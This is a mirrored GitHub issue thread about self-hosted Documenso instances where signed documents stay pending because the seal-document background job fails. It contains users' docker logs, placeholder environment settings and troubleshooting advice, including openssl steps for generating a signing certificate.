starred/documenso
1
0
Fork 0
mirror of https://github.com/documenso/documenso.git synced 2026-04-25 05:46:01 +03:00
Code Issues 248 Projects Releases 10 Packages Wiki Activity

[GH-ISSUE #1399] Document still pending but waiting for 0 recipient #395

New issue
Closed
opened 2026-02-26 18:46:50 +03:00 by kerem · 28 comments
kerem commented 2026-02-26 18:46:50 +03:00
Owner
Copy link

Originally created by @tmlmt on GitHub (Oct 13, 2024).
Original GitHub issue: https://github.com/documenso/documenso/issues/1399

Issue Description

My first test document ended up in a buggy situation: the two signees have signed but the signing process is stuck at pending and doesn't complete.

New instance, self-hosted with the production docker compose

Steps to Reproduce

Here's what I did

  1. Uploaded a 1 page PDF
  2. Added two signees, and enable signing order
  3. For signee 1, create 1 drop down field and 1 signature field and placed them on the pdf
  4. For signee 2 (myself), created a signature field and placed it on the PDF

Expected Behavior

I expect the signature process to complete automatically after signee #2 (myself)

Current Behavior

After signee 2 signs, they see a "Waiting for others to sign" (although there's no one to wait for) and the doc is stuck at pending and doesn't complete.

Screenshots (optional)

image

Operating System [e.g., Windows 10]

Ubuntu

Browser [e.g., Chrome, Firefox]

Chrome

Version [e.g., 2.0.1]

1.7.1

Please check the boxes that apply to this issue report.

  • I have searched the existing issues to make sure this is not a duplicate.
  • I have provided steps to reproduce the issue.
  • I have included relevant environment information.
  • I have included any relevant screenshots.
  • I understand that this is a voluntary contribution and that there is no guarantee of resolution.
  • I want to work on creating a PR for this issue if approved
Originally created by @tmlmt on GitHub (Oct 13, 2024). Original GitHub issue: https://github.com/documenso/documenso/issues/1399 ### Issue Description My first test document ended up in a buggy situation: the two signees have signed but the signing process is stuck at pending and doesn't complete. New instance, self-hosted with the production docker compose ### Steps to Reproduce Here's what I did 1. Uploaded a 1 page PDF 2. Added two signees, and enable signing order 3. For signee 1, create 1 drop down field and 1 signature field and placed them on the pdf 4. For signee 2 (myself), created a signature field and placed it on the PDF ### Expected Behavior I expect the signature process to complete automatically after signee #2 (myself) ### Current Behavior After signee 2 signs, they see a "Waiting for others to sign" (although there's no one to wait for) and the doc is stuck at pending and doesn't complete. ### Screenshots (optional) ![image](https://github.com/user-attachments/assets/1eb4bba8-90d1-409d-9452-37a2f4c1a175) ### Operating System [e.g., Windows 10] Ubuntu ### Browser [e.g., Chrome, Firefox] Chrome ### Version [e.g., 2.0.1] 1.7.1 ### Please check the boxes that apply to this issue report. - [X] I have searched the existing issues to make sure this is not a duplicate. - [X] I have provided steps to reproduce the issue. - [X] I have included relevant environment information. - [X] I have included any relevant screenshots. - [X] I understand that this is a voluntary contribution and that there is no guarantee of resolution. - [ ] I want to work on creating a PR for this issue if approved
kerem 2026-02-26 18:46:50 +03:00
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@github-actions[bot] commented on GitHub (Oct 13, 2024):

Thank you for opening your first issue and for being a part of the open signing revolution!

One of our team members will review it and get back to you as soon as it possible 💚

Meanwhile, please feel free to hop into our community in Discord

<!-- gh-comment-id:2409232755 --> @github-actions[bot] commented on GitHub (Oct 13, 2024): Thank you for opening your first issue and for being a part of the open signing revolution! <br /> One of our team members will review it and get back to you as soon as it possible 💚 <br /> Meanwhile, please feel free to hop into our community in [Discord](https://documen.so/discord)
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@falzfalzfalz commented on GitHub (Oct 14, 2024):

Same problem on my side, i'd like to add that I encounter this log:
image

<!-- gh-comment-id:2410387906 --> @falzfalzfalz commented on GitHub (Oct 14, 2024): Same problem on my side, i'd like to add that I encounter this log: <img width="1121" alt="image" src="https://github.com/user-attachments/assets/203b7662-368c-42c6-bcf6-0e99c911b869">
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@kbkozlev commented on GitHub (Oct 15, 2024):

I have the exact same issue, with the same logs.

<!-- gh-comment-id:2414105327 --> @kbkozlev commented on GitHub (Oct 15, 2024): I have the exact same issue, with the same logs.
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@ephraimduncan commented on GitHub (Oct 15, 2024):

Can you add this to your environmental variables and let me know if you still have the same issues?

NEXT_PRIVATE_JOBS_PROVIDER="local"

<!-- gh-comment-id:2414483891 --> @ephraimduncan commented on GitHub (Oct 15, 2024): Can you add this to your environmental variables and let me know if you still have the same issues? `NEXT_PRIVATE_JOBS_PROVIDER="local"`
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@kbkozlev commented on GitHub (Oct 15, 2024):

This unfortunately did not resolve the issue.
When I upload a document I get sent an e-mail to sign it, when I do so the status never changes from pending and no e-mail is sent. When I cancel a document, however, I receive another e-mail. It's a very strange issue.
I have uploaded my environment variables below.

image

<!-- gh-comment-id:2414575140 --> @kbkozlev commented on GitHub (Oct 15, 2024): This unfortunately did not resolve the issue. When I upload a document I get sent an e-mail to sign it, when I do so the status never changes from pending and no e-mail is sent. When I cancel a document, however, I receive another e-mail. It's a very strange issue. I have uploaded my environment variables below. ![image](https://github.com/user-attachments/assets/34dbc2f9-91f8-4ccd-be53-9fe3d4ea2608)
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@ephraimduncan commented on GitHub (Oct 15, 2024):

The process of sealing a document has been moved to a background job. You can find the implementation here packages/lib/jobs/definitions/internal/seal-document.ts.

The error you're encountering is likely due to the background job failing, which is unexpected.

From the env, you have set NEXT_PUBLIC_WEBAPP_URL, can you also set NEXT_PRIVATE_INTERNAL_WEBAPP_URL to the same url? And redeploy and see if the issue still persists.

<!-- gh-comment-id:2414862845 --> @ephraimduncan commented on GitHub (Oct 15, 2024): The process of sealing a document has been moved to a background job. You can find the implementation here `packages/lib/jobs/definitions/internal/seal-document.ts`. The error you're encountering is likely due to the background job failing, which is unexpected. From the env, you have set `NEXT_PUBLIC_WEBAPP_URL`, can you also set `NEXT_PRIVATE_INTERNAL_WEBAPP_URL` to the same url? And redeploy and see if the issue still persists.
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@tmlmt commented on GitHub (Oct 15, 2024):

My .env is as follows, so it already contains NEXT_PRIVATE_INTERNAL_WEBAPP_URL when the job fails.

PORT=3010
POSTGRES_USER=documenso
POSTGRES_PASSWORD=somepassword
POSTGRES_DB=documenso
NEXT_PRIVATE_DATABASE_URL='postgres://documenso:somepassword@database:5432/documenso'
NEXTAUTH_URL='https://documenso.mywebsite.com'
NEXTAUTH_SECRET='somesecret'
NEXT_PRIVATE_ENCRYPTION_KEY='someprimarykey'
NEXT_PRIVATE_ENCRYPTION_SECONDARY_KEY='somesecondarykey'
NEXT_PUBLIC_WEBAPP_URL='https://documenso.mydomain.com'
NEXT_PRIVATE_INTERNAL_WEBAPP_URL='https://documenso.mydomain.com'
NEXT_PRIVATE_SMTP_TRANSPORT='smtp-auth'
NEXT_PRIVATE_SMTP_HOST='smtp.mydomain.com'
NEXT_PRIVATE_SMTP_PORT=587
NEXT_PRIVATE_SMTP_USERNAME='documenso@mydomain.com'
NEXT_PRIVATE_SMTP_PASSWORD='somepassword'
NEXT_PRIVATE_SMTP_FROM_NAME='Documenso (MyDomain)'
NEXT_PRIVATE_SMTP_FROM_ADDRESS='sign@mydomain.com'
NEXT_PUBLIC_DISABLE_SIGNUP="true"

Without more explicit error messages, it's hard to debug as a user of the docker container.

Here are the docker logs:

documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
documenso-1  | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q
documenso-1  | [JOBS]: Triggering job internal.seal-document with payload {
documenso-1  |   documentId: 2,
documenso-1  |   requestMetadata: {
documenso-1  |     ipAddress: '127.0.0.1',
documenso-1  |     userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
documenso-1  |   }
documenso-1  | }
documenso-1  | [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
documenso-1  |     at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
documenso-1  |     at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
documenso-1  |     at async /app/apps/web/.next/server/chunks/9783.js:1:15444
documenso-1  |     at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
documenso-1  |     at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
documenso-1  |     at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
documenso-1  |     at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
documenso-1  |     at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
documenso-1  |     at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
documenso-1  |     at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2414967786 --> @tmlmt commented on GitHub (Oct 15, 2024): My `.env` is as follows, so it already contains `NEXT_PRIVATE_INTERNAL_WEBAPP_URL` when the job fails. ``` PORT=3010 POSTGRES_USER=documenso POSTGRES_PASSWORD=somepassword POSTGRES_DB=documenso NEXT_PRIVATE_DATABASE_URL='postgres://documenso:somepassword@database:5432/documenso' NEXTAUTH_URL='https://documenso.mywebsite.com' NEXTAUTH_SECRET='somesecret' NEXT_PRIVATE_ENCRYPTION_KEY='someprimarykey' NEXT_PRIVATE_ENCRYPTION_SECONDARY_KEY='somesecondarykey' NEXT_PUBLIC_WEBAPP_URL='https://documenso.mydomain.com' NEXT_PRIVATE_INTERNAL_WEBAPP_URL='https://documenso.mydomain.com' NEXT_PRIVATE_SMTP_TRANSPORT='smtp-auth' NEXT_PRIVATE_SMTP_HOST='smtp.mydomain.com' NEXT_PRIVATE_SMTP_PORT=587 NEXT_PRIVATE_SMTP_USERNAME='documenso@mydomain.com' NEXT_PRIVATE_SMTP_PASSWORD='somepassword' NEXT_PRIVATE_SMTP_FROM_NAME='Documenso (MyDomain)' NEXT_PRIVATE_SMTP_FROM_ADDRESS='sign@mydomain.com' NEXT_PUBLIC_DISABLE_SIGNUP="true" ``` Without more explicit error messages, it's hard to debug as a user of the docker container. Here are the docker logs: ``` documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) documenso-1 | Submitting job to endpoint: https://documenso.mydomain.com/api/jobs/internal.seal-document/cm2awpi01001xqg28m7o61y1q documenso-1 | [JOBS]: Triggering job internal.seal-document with payload { documenso-1 | documentId: 2, documenso-1 | requestMetadata: { documenso-1 | ipAddress: '127.0.0.1', documenso-1 | userAgent: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36' documenso-1 | } documenso-1 | } documenso-1 | [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries documenso-1 | at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) documenso-1 | at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) documenso-1 | at async /app/apps/web/.next/server/chunks/9783.js:1:15444 documenso-1 | at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) documenso-1 | at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) documenso-1 | at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) documenso-1 | at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) documenso-1 | at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) documenso-1 | at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) documenso-1 | at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@sypion commented on GitHub (Oct 16, 2024):

I am also experiencing the same issue on my end with the same log output:

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries
    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)
    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)
    at async /app/apps/web/.next/server/chunks/9783.js:1:15444
    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)
    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)
    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)
    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)
    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)
    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)
    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2417688992 --> @sypion commented on GitHub (Oct 16, 2024): I am also experiencing the same issue on my end with the same log output: ``` [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@LckySndays commented on GitHub (Oct 17, 2024):

Same issue with same log output as well

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 8,

  requestMetadata: {

    ipAddress: '10.54.99.102',

    userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'

  }

}

[JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)

Submitting job to endpoint: http://10.54.99.10:3124/api/jobs/internal.seal-document/cm2cws1u1001lo54gftur6j4n

[JOBS]: Triggering job internal.seal-document with payload {

  documentId: 8,

  requestMetadata: {

    ipAddress: '10.54.99.102',

    userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'

  }

}

[JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries

    at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015)

    at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393)

    at async /app/apps/web/.next/server/chunks/9783.js:1:15444

    at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853)

    at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492)

    at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9)

    at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37)

    at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17)

    at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21)

    at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24)
<!-- gh-comment-id:2418632775 --> @LckySndays commented on GitHub (Oct 17, 2024): Same issue with same log output as well ``` [JOBS]: Triggering job internal.seal-document with payload { documentId: 8, requestMetadata: { ipAddress: '10.54.99.102', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' } } [JOBS]: Job internal.seal-document failed g [BackgroundTaskFailedError]: Task failed at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17386) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) Submitting job to endpoint: http://10.54.99.10:3124/api/jobs/internal.seal-document/cm2cws1u1001lo54gftur6j4n [JOBS]: Triggering job internal.seal-document with payload { documentId: 8, requestMetadata: { ipAddress: '10.54.99.102', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0' } } [JOBS]: Job internal.seal-document failed w [BackgroundTaskExceededRetriesError]: Task exceeded retries at Object.runTask (/app/apps/web/.next/server/chunks/9783.js:1:17015) at async Object.handler (/app/apps/web/.next/server/chunks/9783.js:1:26393) at async /app/apps/web/.next/server/chunks/9783.js:1:15444 at async K (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:16853) at async U.render (/app/node_modules/next/dist/compiled/next-server/pages-api.runtime.prod.js:20:17492) at async NextNodeServer.runApi (/app/node_modules/next/dist/server/next-server.js:600:9) at async NextNodeServer.handleCatchallRenderRequest (/app/node_modules/next/dist/server/next-server.js:269:37) at async NextNodeServer.handleRequestImpl (/app/node_modules/next/dist/server/base-server.js:816:17) at async invokeRender (/app/node_modules/next/dist/server/lib/router-server.js:174:21) at async handleRequest (/app/node_modules/next/dist/server/lib/router-server.js:353:24) ```
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@wilb12 commented on GitHub (Oct 18, 2024):

Hello,
I applied NEXT_PRIVATE_JOBS_PROVIDER="local"
Same Issue, same log.
Regards,

<!-- gh-comment-id:2422021423 --> @wilb12 commented on GitHub (Oct 18, 2024): Hello, I applied NEXT_PRIVATE_JOBS_PROVIDER="local" Same Issue, same log. Regards,
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

@gps949 commented on GitHub (Oct 22, 2024):

Most likely caused by the .p12 file issue. Who meet this problem can try below:

openssl genrsa -out private.key 2048
openssl req -new -x509 -key private.key -out certificate.crt -days 3650
openssl pkcs12 -export -out certificate.p12 -inkey private.key -in certificate.crt -legacy
chown 1001 certificate.p12

note: during there commands executing, set the private key passphrase and export passphrase to the same one, and remember it.

Set the env variable NEXT_PRIVATE_SIGNING_PASSPHRASE to the passphrase in previous step.
Bind p12 file with -v ./certificate.p12:/opt/documenso/cert.p12, and set the env variable NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH to /opt/documenso/cert.p12

<!-- gh-comment-id:2429221441 --> @gps949 commented on GitHub (Oct 22, 2024): Most likely caused by the .p12 file issue. Who meet this problem can try below: 1. ``` openssl genrsa -out private.key 2048 openssl req -new -x509 -key private.key -out certificate.crt -days 3650 openssl pkcs12 -export -out certificate.p12 -inkey private.key -in certificate.crt -legacy chown 1001 certificate.p12 ``` note: during there commands executing, set the private key passphrase and export passphrase to the same one, and remember it. 2. Set the env variable ```NEXT_PRIVATE_SIGNING_PASSPHRASE``` to the passphrase in previous step. Bind p12 file with ```-v ./certificate.p12:/opt/documenso/cert.p12```, and set the env variable ```NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH``` to ```/opt/documenso/cert.p12```
kerem commented 2026-02-26 18:46:51 +03:00
Author
Owner
Copy link

